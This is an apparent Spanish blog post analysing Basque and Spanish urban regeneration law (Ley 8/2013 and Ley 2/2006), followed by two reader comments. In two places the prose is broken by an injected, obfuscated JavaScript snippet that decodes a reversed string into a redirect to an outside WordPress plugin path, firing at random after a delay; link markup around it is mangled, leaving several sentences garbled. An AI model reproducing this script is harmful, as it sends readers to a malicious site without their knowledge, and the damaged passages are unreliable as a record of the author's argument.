¿Un nuevo modelo urbanístico para el País Vasco?

 

La crisis económica acentúa el cuestionamiento del modelo urbanístico actual, sin embargo, la L3R que pretende ser motor de cambio, es una ley de rescate económico de un sector (el inmobiliario) en decadencia por agotamiento de modelo. La transformación no debe justificarse en que el suelo urbano pueda convertirse en un elemento dinamizador de la economía, sino en la puesta en valor de la ciudad, en su revitalización incorporando la variable ambiental en el urbanismo, inexistente al momento de crear la ciudad actual sobre la que ahora se pretende volver a actuar, en llenar el estatuto (urbanístico) del ciudadano de contenido real y efectivo, etc. Es necesario un debate, no reflejado en la L3R, que permita el nacimiento de un conjunto de técnicas e instrumentos adecuados para intervenir en el suelo urbano. Reutilizando el suelo surgirán nuevas actividades económicas, pero no revitalicemos la económica a costa de la ciudad.

37008701

La  Ley 8/2013, de 26 de junio, de rehabilitación, regeneración y renovación urbana (L3R), sin ser una ley urbanística, pretende sentar las bases de un nuevo modelo urbanístico que apunte hacia la ciudad existente (suelo urbano) en detrimento del anterior, más preocupado por la generación de nueva ciudad a través del suelo urbanizable. Sin embargo, careciendo de competencia urbanística directa, el verdadero protagonista del cambio de rumbo no será el Estado, sino las Comunidades Autónomas reorientado su ordenamiento urbanístico y territorial. Ahora bien, dada la manifiesta intención del Legislador estatal, llama la atención que este objetivo pretenda llevarlo a cabo desgajando la rehabilitación, regeneración y renovación urbana de la legislación básica del suelo, cuando el título habilitante para intervenir en toda clase de suelo es el mismo, y ello obviando los problemas no sólo de sistemática sino de seguridad jurídica que puede acarrear la dispersión normativa por el hecho de encontrarnos con una regulación básica del suelo (sin diferenciación alguna) y otra regulación básica de actuaciones en suelo urbano y ello aunque la L3R, con mayor o menor acierto, haya intentado integrar las dos regulaciones modificando el to Legislativo 2/2008, de 20 de junio, por el que se aprueba el texto refundido de la ley de suelo (TRLS08). Sin mencionar la confusa o insuficiente conceptualización del objeto regulado: La rehabilitación, la regeneración y la renovación urbana.

La tos/2006/07/0603776a.pdf” target=”_blank”>Ley 2/2006, de 30 de junio, de suelo y urbanismo (LvSU) encargada de recoger el marco jurídico del urbanismo vasco, no obstante contar con ciertos elementos que fijan su atención sobre el suelo urbano y que podrían llevarnos a pensar que navegamos con un nuevo rumbo, debe clasificarse como una ley de ensanche o de urbanismo expansivo, tributaria de la tradición urbanística precedente, cuyo contenido pone más el acento en generar nueva ciudad a costa del suelo virgen que en reutilizar el ya consumido, quizás porque el supuesto cambio de modelo legal no se sustenta realmente en un previo y meditado cambio de mentalidad en todos los ámbitos de la vida (social, económico, etc.), encontrando que las exposiciones de motivos que preceden a las normas pueden llegar a servir, igualmente, para justificar una determinada política legislativa o su antagónica.

Ejemplo sobre evolución de la densidad urbana máxima

Un ejemplo, sirva de base a este argumento. Frente a la ausencia total de un límite a la densidad en la Ley del Suelo de 1956 que ocasionó que el planeamiento aprobado durante los años 60 hasta 1975 recogiese un exceso de edificabilidad en los nuevos desarrollos o ensanches de la ciudad existente, la reforma de 1975 incorporaba al ordenamiento urbanístico el límite de 75 viviendas por hectárea, con el fin de poner freno y paliar el exceso de edificabilidad de los años precedentes. Este límite, que paso al $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Vasco) 2/2006, de 30 de junio, de Suelo y Urbanismo” href=”http://www.lehendakaritza.ejgv.euskadi.net/r48-bopv2/es/bopv2/datos/2006/07/0603776a.pdf” target=”_blank”>Ley 2/2006 (LvSU), establece edificabilidades máximas y mínimas. Por lo que se refiere a las edificabilidades máximas, en el suelo urbano no consolidado se recoge el índice de 2,3 m2t/m2s, lo que implica 230 viviendas/hectárea, y en el suelo urbanizable de 1,3 m2t/m2s (municipios con población superior a 7.000 habitantes) y 1,1 m2t/m2s (municipios con población inferior a 7.000 habitantes) lo que da valores de 130 y 110 viviendas/hectárea, respectivamente, que superan ampliamente el estándar de 1975; si bien, el argumento esgrimido para esta nueva regulación se basa en que el hecho de no agotar el estándar de las 75 viv/ha. en los planes dictados al amparo del to que también puede producir un efecto no deseado como es que los procesos de renovación y regeneración urbana terminen degenerando en congestión de la cuidad existente, cuando, entre otros, acabar con una densidad excesiva y dotar de equipamientos y nuevos usos son objetivos de la renovación y regeneración urbana.

Dicho lo anterior, se hace necesario fijar la atención sobre esos aspectos de la tos/2006/07/0603776a.pdf” target=”_blank”>LvSU cuya profundización podrían implicar el inicio del cambio hacia el nuevo modelo urbanístico que se pretende. Así, la tos/2006/07/0603776a.pdf” target=”_blank”>LvSU arranca en el título primero regulando el principio de desarrollo sostenible (tos/2006/07/0603776a.pdf#page=17″ target=”_blank”>art. 3), entre cuyos contenidos se recoge la ocupación sostenible de suelo mediante su rehabilitación y nueva puesta en valor, la reutilización y rehabilitación del patrimonio construido y urbanizado, la preferencia por políticas que opten por usar las viviendas vacías frente a nuevos crecimientos, cohesionen los usos evitando generar movilidad innecesaria, segregación y dispersión urbana. Sin embargo, las técnicas jurídicas para intervenir en la ciudad existente recogidas en el cuerpo legal son escasas y con alcance parcial o limitado a aspectos puntuales; mencionamos las siguientes:

De lo expuesto se pone de manifiesto que el reto que se plantea no promete ser fácil de alcanzar, por lo que deberemos, perentoriamente, dotarnos de un marco legal coherente con el principio de desarrollo sostenible, el cual dice inspirar la tos/2006/07/0603776a.pdf” target=”_blank”>Ley 2/2006 (LvSU), que ponga el acento en regular técnicas que permitan una intervención apropiada sobre la ciudad existente. Sin embargo, el modelo urbanístico basado en la reutilización del suelo estará condenado al fracaso si sólo se queda en medidas legislativas huérfanas de políticas que las implementen y que pongan el acento en el origen de los flujos de inversión necesarios para mantener la ciudad en constante evolución (no meramente económica). Técnicas que, profundizando en las ya mencionadas, sean capaces de generar compromisos de inversión pública y no se residencie la regeneración y renovación urbana, en su mayor parte, en el deber de conservar del propietario del suelo, ya que no debe olvidarse, que el suelo transformado, la ciudad, es en gran medida espacio público que pertenece a todos los ciudadanos con el derecho y deber de disfrutarlo y conservarlo ($NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Refundido de la Ley de Suelo” href=”http://www.boe.es/buscar/act.php?id=BOE-A-2008-10792#a5″ target=”_blank”>5 TRLS). Queda, por tanto, mucho camino por recorrer y este debe comenzar por: a) definir los términos de rehabilitación, regeneración y renovación urbana confusamente recogidos en la Ley 8/2013 (L3R), b) configurar nuevas técnicas jurídicas y económicas para intervenir en la ciudad existente y c) agilizar y coordinar, de forma real y efectiva, el urbanismo con el resto de regulaciones sectoriales simplificando y agilizando los expedientes con el objetivo de que la tramitación administrativa no se convierta en una carga financiera más, cuando  no en la más importante del (nuevo) “urbanismo sostenible”.

2 pensamientos en “¿Un nuevo modelo urbanístico para el País Vasco?

  1. Lorenzo goicoechea

    Enhorabuena Rosbe por la acertada reflexión. La sensibilidad hacia la ciudad existente en toda la normativa referida al urbanismo brilla por su ausencia; es mas del gusto de la nuevo, la gestión, etc.. Para los que la ciudad existente era nuestro biotopo de trabajo , ya veiamos como la ciudad exiestente ( cascos viejos o barrios de periferia) son el patito feo del urbanismo ( no se si era porque habia mucha gentec on voz y era mas comodo hablar solo de dinero y propiedades) , el caso es que toca dejar atras la “ciudad del petroleo”,la de la movilidad , la expansiva ,la generadora de recursos economicos ( privados y sobre todo publicos),… y me alegro. Esto ha provocado el repensar no solo la ciudad, sino la falta de herramientas acordes con la nueva situación como tu bien apuntas. Armas normativas para enmendar el “urbanismo fallido” en vigor, aunque el primer paso sería el aplicar el articulado de la LVSU en lo referente a rehabilitación y desarrollo sostenible que debia ser el catecismo del planeamiento. Son buenos tiempos para Re Pensar, Re Plantear y Re Cosntruir tambien la legislación,y te vuelvo a felicitar por la Re flexión.

  2. Natxo Tejerina

    Efectivamente.

    Ahora se trata de Re Inventar la intervención urbanística en la ciudad: Conocemos las actuaciones de urbanización (TRLS) o integradas (LvSU), en las que está garantizada la ejecución (que hayan servido para provechos espurios es harina de otro de costal) pero que están reservadas para la ordenación y construcción de nueva planta, no sirviendo para el grueso de la ciudad. Conocemos también la rehabilitación puntual, que ayuda y no tiene desventajas, pero no es suficiente, y no solo porque casi nunca es generalizada, sino porque también la clave es la intervención en el tejido urbano (aunque haya experiencias ejemplares como puede ser la del entorno de la Plaza Mayor de Madrid).

    Necesitamos herramientas con las potestades reconocidas a la actuación de urbanización-integrada, para intervenir en tejidos urbanos en que no haya reordenación de nueva planta. ¿Pueden serlo las actuaciones de regeneración y renovación urbanas de la L3R?

    Mejor dicho, ¿Podemos aprovechar esta figura para contribuir a detener la degradación urbana y para propiciar la regeneración urbana? Mi respuesta es que DEBEMOS. Si nosotros no trabajáramos para ello, ¿quien lo va a hacer?

Leave a Reply

Your email address will not be published.